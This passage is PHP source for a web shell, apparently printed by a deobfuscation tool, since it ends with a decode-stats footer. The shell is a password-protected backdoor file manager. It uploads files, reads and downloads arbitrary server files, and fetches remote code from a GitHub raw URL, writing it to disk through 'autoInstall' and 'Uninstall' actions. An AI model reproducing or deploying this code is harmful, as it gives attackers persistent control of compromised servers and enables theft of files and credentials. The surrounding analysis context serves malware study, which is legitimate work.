$result["msg"] = "Folder created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create folder!"; } } else { $result["success"] = false; $result["msg"] = "New Folder permission denied!"; } $result["error"] = false; } } else { if ($data == "uploadFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["fileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["success"] = true; $result["msg"] = "File uploaded successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to upload file!"; } } else { $result["success"] = false; $result["msg"] = "Upload File permission denied!"; } $result["error"] = false; } } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); $installfile = $dir . $autoInstall[0]; if (is_file($installfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already installed!"; } else { if (is_writable($dir)) { $installContent = getContent($autoInstall[1]); if ($installContent != '') { if (createFileFopen($installfile, $installContent)) { $result["success"] = true; $result["msg"] = "Installed successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to install!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!!"; } } else { $result["success"] = false; $result["msg"] = "Install permission denied!"; } $result["error"] = false; } } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if (is_writable($mr999plus)) { if ($uninstallContent != '') { if (createFileFopen($mr999plus, $uninstallContent)) { $result["success"] = true; $result["msg"] = "Uninstalled successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to uninstall!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!"; } } else { $result["success"] = false; $result["msg"] = "Uninstall permission denied!"; } } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Permission denied!"; } } } } } } } } } } } } } } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { if (isset($_GET["data"], $_SESSION["Hacker"])) { if ($_SESSION["Hacker"] == $Hacker) { $data = $_GET["data"]; if ($data == "openSrc") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); header("Content-Type: " . mime_content_type($file)); readfile($file); die; } else { if ($data == "download") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { die("<script>alert("File not found!"); window.close();</script>"); } } else { if ($data == "openACE") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { $fileSize = filesize($file); $fileName = basename($file); $fileHandle = fopen($file, "r"); if ($fileHandle) { $canRead = "true"; if ($fileSize == 0) { $content = ''; } else { $content = base64_encode(fread($fileHandle, $fileSize)); } fclose($fileHandle); } else { $canRead = "false"; $content = "Read permission denied!"; } } else { $fileName = ''; $canRead = "false"; $content = "File not found!"; } $setting = "var dir = "" . $file . "", aceName = "" . $fileName . "", aceFileType = "" . typeAceFile($fileName) . "", aceRead = " . $canRead . ", aceData = "" . $content . "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } } } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["msg"] = "Wrong Password!"; } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } }
?>
Function Calls
None |
Stats
MD5 | 9d0d327d4351fe589bdaf905e0edb7d5 |
Eval Count | 0 |
Decode Time | 65 ms |